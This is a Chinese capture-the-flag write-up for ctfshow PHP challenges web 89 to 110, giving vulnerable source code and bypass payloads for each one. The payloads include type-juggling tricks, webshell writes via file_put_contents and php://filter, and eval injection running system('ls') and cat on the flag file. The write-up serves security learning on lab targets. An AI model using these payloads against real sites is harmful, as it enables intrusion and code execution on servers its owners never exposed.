
本文共 8610 字,大约阅读时间需要 28 分钟。
web 89
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; }}
利用数组绕过:/?num[]=0
web 90
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); }}
intval()函数用来获取整数值,当参数base为0的时候,遇到字母就会停止

/?num=4476a
web 91
show_source(__FILE__);include('flag.php');$a=$_GET['cmd'];if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; }}else{ echo 'nonononono';}
观察正则表达式
- 第一个:
'/^php$/im'
,$匹配输入字符串的结尾位置,匹配php且后面的修饰符有个m,表示多行匹配 - 第二个:
'/^php$/i'
相比下没有了多行匹配
所以对于这题可以使用换行绕过,
可以在hackbar里面url编码换行符,编码完是%0a
payload:cmd=a%0aphp
web 92
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }}
这题不能像上面一样在后面加字母就绕过了
php有个特殊的字母:e,可以表示科学计数法 但是当intval()读取到e的时候就会停止 payload:?num=4476e123
web 93
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }}
把字母给过滤掉了
因为intval()函数第二个参数为0,会自动识别进制数,所以我们可以换一个进制,16进制会出现字母,所以用8进制,记得前面加个0,表示八进制
?num=010574
web 94
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }}
八进制用不了了strpos($num, "0")
,识别到第一个就是0的话就直接die了

.
来绕过 通过intval()函数就可以把浮点数类型变为int类型 payload:?num=4476.0
web 95
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; }}
又把.给过滤了,可以在八进制前面加上+
,让0不在第一个就行
num=+010574
web 96
highlight_file(__FILE__);if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }}
不能出现"flag.php"这个字符串,那就用./
表示当前目录,
?u=./flag.php
web 97
include("flag.php");highlight_file(__FILE__);if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.';}
===
三等号md5比较
a[]=1&b[]=2
web 98
include("flag.php");$_GET?$_GET=&$_POST:'flag';$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>
一开始看到很懵逼,仔细看了一下发现是三元运算符配合引用传递(&)
这句话的意思就是GET方法提交了东西,就会转成POST方法提交
$_GET?$_GET=&$_POST:'flag';
这里我们需要让flag文件高亮,就要get提交一个HTTP_FLAG
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
所以我们需要get一个HTTP_FLAG再post一个HTTP_FLAG
web 99
考察in_array()
函数的漏洞
highlight_file(__FILE__);$allow = array();for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));}if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']);}
涉及的函数:
-
array_push(),向尾部插入元素
-
file_put_contents()
-
in_array(),漏洞出现的函数,第三个参数没有设置的时候,就可以形成自动转换:n=1.php自动转换为1
所以用file_put_contents把一句话木马写入1.php中,再连接蚁剑得到flag
web 100
highlight_file(__FILE__);include("ctfshow.php");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET['v1'];$v2=$_GET['v2'];$v3=$_GET['v3'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
可以发现,只要第一位是1,最后的值就是1

- 考虑把他给注释掉/**/ payload:
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
- 利用起这个ctfshow来,使用
new ReflectionClass("类名")
,获得这个类的信息payload:
v1=1&v2=echo new ReflectionClass&v3=;
得到flag要把0x2d换成-
web 101
没有过滤空格,用第二种方法反射类
得到flag也是换0x2d,但是不对,发现flag少了一位,直接拿bp爆破提交flagweb 102
还是is_numeric()
函数的漏洞,在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的,但是这题是php7,不能使用这个漏洞
涉及一个函数hex2bin()
,把16进制转换成ascii字符

bin2hex()
就是把字符串转换成16进制 这个题目用的是base64编码一句话木马后再用bin2hex
转为16进制,绕过is_numeric()
函数后,再用hex2bin
转换成base64
,再用filter协议把base64解码写入PHP文件里
用php写一个小脚本:
这个命令往后面加空格可以删去等号,这样16进制出来就没有其他的字母
这个刚好得到5044383959474e686443417159447367,只有一个e,而会被识别成科学计数法,还是数字v3的值使用php协议,把内容base64解码再写入
v3=php://filter/write=convert.base64-decode/resource=1.php
paylaod:记得前加两个数字绕过substr
v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin
web 103
highlight_file(__FILE__);$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); }}else{ die('hacker');}?>
还是16进制来转换字符串
payload和上题一样web 104
highlight_file(__FILE__);include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; }}?>
之前遇到有md5绕过,sha碰撞绕过就是用数组
GET?v2[]=1POSTv1[]=1
解2:
除了数组绕过,也可以0e开头aaK1STfY0e76658526655756207688271159624026011393aaO8zKZF0e89257456677279068558073954252716165668
web 105
变量覆盖
highlight_file(__FILE__);include('flag.php');error_reporting(0);$error='你还想要flag嘛?';$suces='既然你想要那给你吧!';foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value;}foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value;}if(!($_POST['flag']==$flag)){ die($error);}echo "your are good".$flag."\n";die($suces);?>
好久没写变量覆盖的题目了
关键操作在$$key=$$value;
一个层的我们get一个/?suces=flag 这样就构造了:$suces=$flag,把suces原值覆盖 第二层我们POST一个error=suces
构造了$error=$suces=$flag 这样就打印出了$flagweb 106
还是sha碰撞
highlight_file(__FILE__);include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; }}?>
payload:GET:?v2[]=1
POST:v1[]=2
web 107
highlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }}?>
涉及函数parse_str()


web 108
highlight_file(__FILE__);error_reporting(0);include("flag.php");if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');}//只有36d的人才能看到flagif(intval(strrev($_GET['c']))==0x36d){ echo $flag;}?>
36d十六进制转换出来是877

strrev()
这个函数是让字符串倒转 ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE
的意思是:必须是提交一个字符
ereg()
函数存在NULL截断漏洞,可以用%00来截断正则匹配,绕过这个正则
payload:
?c=a%00778
web 109
异常处理类
highlight_file(__FILE__);error_reporting(0);if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); }}?>
涉及到的操作是:
- 异常处理类 Exception
- 反射类 Reflectionclass
异常处理解法:
payload:v1=Exception&v2=system('ls')
得到目录 
v1=Exception&v2=system('cat fl36dg.txt')
反射类解法:
payload:v1=Reflectionclass&v2=system('cat fl36dg.txt')
web 110
highlight_file(__FILE__);error_reporting(0);if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());");}
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
getcwd()函数 获取当前工作目录 返回当前工作目录payload: ?v1=FilesystemIterator&v2=getcwd
参考文章
http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php发表评论
最新留言
关于作者
